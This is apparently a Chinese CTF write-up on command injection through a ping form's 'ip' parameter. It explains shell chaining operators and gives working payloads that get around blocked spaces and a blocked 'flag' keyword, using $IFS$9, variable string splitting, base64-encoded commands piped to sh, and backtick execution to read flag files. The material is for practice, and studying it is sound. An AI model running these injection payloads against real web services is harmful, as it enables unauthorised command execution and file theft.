知识点
拼接符
- & 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &
- && 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo ‘2’
- | 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l
- || 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”
- ; 分号表示命令依次执行。
绕过正则读取的方法
1.变量拼接字符串
使用变量拼接字符串,比如这样
所以我们可以拼接一个flag
- b=ag.php;a=fl;cat$IFS$9$a$b
- 为什么要反过来?flag匹配时中间有内容也会被匹配。
- 表达式 .* 就是单个字符匹配任意次,即贪婪匹配。以这个表达式为例:a.*b,它将会匹配最长的以a开始,以b结束的字符串。如果用它来搜索aabab的话,它会匹配整个字符串aabab。这被称为贪婪匹配
所以构建payload
?id=127.0.0.1;b=ag.php;a=fl;cat$IFS$9$a$b
2.sh命令来执行
使用 base64 编码的方式来绕过 flag 过滤。
然后用$IFS$9代替空格。构造payload
- 加密命令
echo “cat flag.php” | base64- 解密命令并执行
echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh然后用$IFS$9代替空格。构造payload
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
3.内联执行
反引号在linux中作为内联执行,执行输出结果。也就是说
cat `ls` //执行ls输出 index.php 和 flag.php 。然后再执行 cat index.php;cat flag.php
所以可以构造payload
?ip=127.0.0.1;cat$IFS$9`ls`
5-1
做题思路
打开看到
尝试 ?ip=127.0.0.1,尝试一下?ip=flag,没得到有效内容
经过一些尝试后,没有思路
打开WP
得知这是与终端ping命令相关的题目
其次明白了 fxck your space, 是过滤了空格的意思
然后利用拼接符执行指令 ls 得到
由于空格被过滤了,找绕过方法 可参考 这篇文章 发现$IFS$9能用
然后执行指令 ?ip=127.0.0.1|cat$IFS$1flag.php 发现flag也被过滤了
最后根据WP知道了三种绕过正则读取的方法'
然后采用变量拼接字符串得到flag
5-2
做题思路
输入127.0.0.1 & ls 发现 index.php
输入 127.0.0.1 | cat index.php 又出现了一个PING界面
发现了源代码
原谅我没有思路了,看WP
直接 127.0.0.1;cat /flag //直接执行调用系统命令,利用cat看看存不存在flag目录
得到 flag